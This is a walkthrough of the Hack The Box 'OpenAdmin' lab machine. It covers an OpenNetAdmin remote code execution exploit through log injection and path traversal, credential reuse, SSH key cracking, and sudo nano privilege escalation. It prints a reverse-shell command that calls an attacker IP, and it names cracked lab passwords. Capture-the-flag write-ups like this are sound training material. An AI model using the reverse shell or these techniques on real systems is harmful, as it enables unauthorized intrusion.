It was an easy machine from Hack The Box with:
- 0-day in some sort of webapp with RCE in an old version.
-
SSH credentials in
mysql
config file. - SSH private key on some internal network running in the background.
- GTFOBins on a file owned by root.
1. Enumeration
First things first, let’s add
10.10.10.171
in
/etc/hosts
as
openadmin.htb
and enumerate our machine with
nmap
to discover open ports and services.
I found
http
on port
80
and
ssh
on
port
22
and
2 other filtered ports.
The home page was
apache
default page and nothing else:
I tried different URLs but still nothing, so let’s jump into
gobuster
to enumerate other pages and directories:
I found
/music
page let’s see its content:
It’s a beautiful UI with some interesting links:
login
redirect to
openadmin.htb/ona
and
create an account
to nothing. Let’s click on
login
to see what it goes:
It’s some sort of an web application, I struggled at this point for awhile trying to figure out what is this, then I found a login page.
I tried
admin:admin
and it worked, but something wrong it redirect to the previous
page with guest account not as admin. I intercepted the login
request and send it using
burp
to see more details, but also nothing. I stuck a little, so I
decided to search what is this application!.
“OpenNetAdmin is a system for tracking IP network attributes in a database. A web interface is provided to administer the data, and there is a fully functional CLI interface for batch management.”
2. Exploitation
I found RCE exploit with
searchsploit
, but the version
13.03
is older than running on the box
18.1.1
:
I always like trying old things to see if it still work or not.
The file
26682.txt
contains some info about the exploit with
HTML
code as a PoC by Mandat0ry (aka Matthew
Bryant). I didn’t like
HTML
to exploit the application, so I wrote some
python
script to automate our process:
Simply, The exploit works because we can add modules without any type of authentication. Modules are in this form:
I can inject some
PHP
code into
/var/log/ona.log
file via the module description parameter. Every time a module
is added to OpenNetAdmin app the
description, name
are all logged into this log file. By setting the module file
path to
../../../../../../../../../../../var/log/ona.log
, so we can include the log file as a module.
I tried to inject
bash -i >& /dev/tcp/10.10.15.253/1337
0>&1
as a reverse shell, but it didn’t work because of the way the
logger script works I cannot use any
<
or
>
.
So, I tried to escape it using
\>
,
but also didn’t work.
Let’s write the above script into a
shell.sh
file and upload it into the box and wait for a shell:
I got a shell with an old 0-day exploit as
www-data
, now let’s dive into privesc.
3. Privilege Escalation
First thing I though is to search for any interesting files,
then I stuck a little until I found
mysql
database settings file inside
local/config
folder:
The file contains database creds
Let’s try login to
mysql
and see the available users:
I got two
md5
hashes after cracking
guest:test
and
admin:admin
. I tried
ssh
using those creds but nothing worked. After awhile I went back
to what I’ve gained so far and thought let’s try database
password to switch with an existing users. I tried first user
jimmy
and it worked.
4. Internal Network
This user isn’t the actual user so, as we saw above there is
another user
joanna
. I started searching for files and finally I got a folder
called
internal
inside
/var/www
:
Then, I got an interesting
php
code inside
index.php
file.
The script wants to login via
main.php
using
jimmy
as a username and
sha512(password)
must match the following hash:
00e302ccdcf1c60b8ad5...
. After I decrypt the hash I got
Revealed
as a password.
Now let’s see what other services running on the box:
I found a
TCP
service running locally on port
52846
.
Let’s post our data on
127.0.0.1:52846/main.php
usign
curl
:
Oh! I got
ssh
private key, so let’s extract it using
ssh2john
and crack it with our friend
john
:
And now I got the password
bloodninjas
, let’s
ssh
with
joanna
and own user:
5. Own Root
Let’s find what else I can do to own
root
,
after deep diving for any important things related to
joanna
I found
/etc/sudoers.d/joanna
owned by
root
.
Sudoers files just contains rights for who can access what in
the system.
This line above just tell the system give all
sudo
privileges to user
joanna
with no password to execute
nano
on
/opt/priv
. let’s take advantage of this by execute commands from
/bin/nano
bypassing all local security restrictions, see
GTFOBins.
Now let’s run
sudo nano /opt/priv
, and press
ctr + R
to read a file then
ctr + X
to execute root commands and type:
And finally owned
root
: